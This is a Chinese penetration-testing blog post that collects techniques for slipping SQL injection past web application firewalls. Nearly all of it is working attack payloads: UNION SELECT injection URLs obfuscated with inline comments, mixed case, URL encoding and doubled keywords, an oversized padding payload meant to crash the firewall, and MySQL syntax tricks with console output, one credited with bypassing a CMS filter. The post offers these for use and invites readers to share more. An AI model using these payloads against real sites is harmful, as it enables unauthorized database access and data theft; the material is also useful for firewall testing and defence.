如何绕过WAF?Mrxn总结如下一些技巧

2015-5-22 / 4 评论 渗透测试 / Mrxn

本文共计 2515 字,感谢您的耐心浏览与评论.

WAF介绍

什么是WAF?

WAF--俗称“Dog” --WEB_Dog ----Web应用防火墙。
Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

基本/简单绕过方法:
1、注释符

http://www.site.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4….

2、使用大小写

http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….

3、结合前面两种方法

http://www.site.com/index.php?page_id=-15 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4….

4、关键字替换

http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….

此方法适用于一些会把union select替换掉的WAF,经过WAF过滤后就会变成 union select 1,2,3,4....

5、内部注释

http://www.site.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…

U替换为%55,S替换为%53 在 union 和 select 之间添加注释/**/

高级绕过方法:
1、缓冲区溢出/使防火墙崩溃

大部分防火墙都是基于C/C++开发的,我们可以使用缓冲区溢出使用WAF崩溃

http://www.site.com /index.php?page_id=-15+and+(select1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….

你可以使用如下方法测试WAF

?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….

如果返回500错误,你就可以使用缓冲区溢出的方法来绕过WAF

2、对字母进行编码

http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….

3、使用其他变量或者命令对注入语句进行替换

COMMAND | WHAT TO USE INSTEAD

@@version | version()

concat() | concat_ws()

group_concat() | concat_ws()

4、利用WAF本身的功能绕过

假如你发现WAF会把"*"替换为空,那么你就可以利用这一特性来进行绕过

????????http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....

其它方法:-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)?





研究过国内外的waf。分享一些 奇淫绝技。

一些大家都了解的技巧如:/*!*/,SELECT[0x09,0x0A-0x0D,0x20,0xA0]xx FROM 不再重造轮子。

Mysql

tips1: 神奇的 `  (格式输出表的那个控制符)
过空格和一些正则。

mysql> select`version`()
    -> ;  
+----------------------+  
| `version`()          |  
+----------------------+  
| 5.1.50-community-log |  
+----------------------+  
1 row in set (0.00 sec)
一个更好玩的技巧,这个`控制符可以当注释符用(限定条件)。

mysql> select id from qs_admins where id=1;`dfff and comment it;
+----+  
| id |  
+----+  
| 1  |  
+----+  
1 row in set (0.00 sec)
usage : where  id ='0'`'xxxxcomment on.

tips2:神奇的- + .
mysql> select id from qs_admins;  
+----+  
| id |
+----+  
| 1  |  
+----+  
1 row in set (0.00 sec)

mysql> select+id-1+1.from qs_admins;  
+----------+  
| +id-1+1. |  
+----------+  
| 1        |  
+----------+  
1 row in set (0.00 sec)

mysql> select-id-1+3.from qs_admins;  
+----------+  
| -id-1+3. |  
+----------+  
| 1        |  
+----------+  
1 row in set (0.00 sec)
(有些人不是一直在说关键字怎么过?过滤一个from ...    就是这样连起来过)

tips3: @
mysql> [email protected]^1.from qs_admins;  
+------|+  
| @^1. |  
+------|+  
| NULL |  
+------|+
这个是bypass  曾经dedeCMS filter .

或者这样也是ok.

tips4:mysql function() as xxx  也可以不用as 和空格
mysql> select-count(id)test from qs_admins;  
+------|+  
| test |  
+------|+  
| -1   |  
+------|+  
1 row in set (0.00 sec)
tips5:/*![>5000]*/ 新构造  版本号(这个可能有些过时了。)
mysql> /\*!40000select\*/ id from qs_admins;  
+----+  
| id |  
+----+  
|  1 |  
+----+  

1 row in set (0.00 sec)


------End-----如果你有什么更好的奇淫技巧,记得告诉我----O(∩_∩)O哈哈~

标签: 渗透测试 web安全 入侵 waf

转载:转载请注明原文链接 - 如何绕过WAF?Mrxn总结如下一些技巧


4条回应:“如何绕过WAF?Mrxn总结如下一些技巧”

  1. 我还以为是gfw呢..

      • Mrxn

        @知道91博客:额 那里  只是把知道的写出来 记录一下而已  你博客很好看!  我博客很简单....


发表评论

{view_code_no}